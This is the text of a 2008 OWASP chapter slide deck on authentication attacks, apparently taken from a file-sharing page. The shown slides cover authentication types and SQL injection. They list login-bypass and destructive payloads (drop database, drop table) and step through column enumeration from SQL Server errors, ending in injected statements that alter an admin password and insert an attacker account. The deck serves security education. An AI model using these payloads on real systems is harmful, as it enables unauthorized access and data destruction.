Demystifying Authentication Attacks.pdf

(343 KB) Pobierz
Demystifying Authentication
Attacks
OWASP
Gunwant Singh, SAIC India
gunwant dot s at gmail dot com
+91-9971843928
Delhi Chapter
November 2008
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org
Agenda
Types of authentication
SQL Injection
Salted MD5 Hashing Technique
Back Back Refresh
Remember me
Improper Error handling/Information leakage
Forgot Password Implementation
Reset Password Implementation
Google dorks
CAPTCHA issues
Side Channel Attack
Conclusion
References
Q.A Session
Disclaimer: All information shared or explained in this session is only
for educational purposes.
OWASP
2
Authentication types
Anonymous authentication
Basic, digest & advanced digest authentication
Integrated Windows authentication
(NTLM/Kerberos)
UNC authentication
.NET Passport authentication
Certificate authentication (SSL)
HTML forms-based authentication.
Multi-factor mechanisms, such as those
combining passwords and physical tokens.
OWASP
3
SQL Injection
‘
‘--
‘# (my sql)
‘ or 1=1--
admin’ or 1=1--
‘ UNION select * from
master..sysmessages;--
‘;show databases;--
‘;drop database userlogin;--
‘;drop table users;--
Tools (for basic and blind) :
SPI – SQL Injector, Absinthe,
Foundstone – WSDigger, SQL
Map
OWASP
4
Example - SQL Injection
1) ‘ having 1=1--
[Microsoft][ODBC
SQL Server Driver][SQL Server] Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.]
2) ' group by users.id having 1=1--
[Microsoft][ODBC
SQL Server Driver][SQL Server]Column
'users.username' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.]
3) ' group by users.id, users.username having 1=1--
[Microsoft][ODBC
SQL Server Driver][SQL Server]Column
'users.password' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.]
4) ' group by users.id, users.username, users.password having 1=1--
<<Produces no errors>>
5) Attack Vector
‘;update users.password where users.username=admin;--
'; insert into users values( 31337, 'attacker', 'foobar');--
OWASP
5

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika:

Zgłoś jeśli naruszono regulamin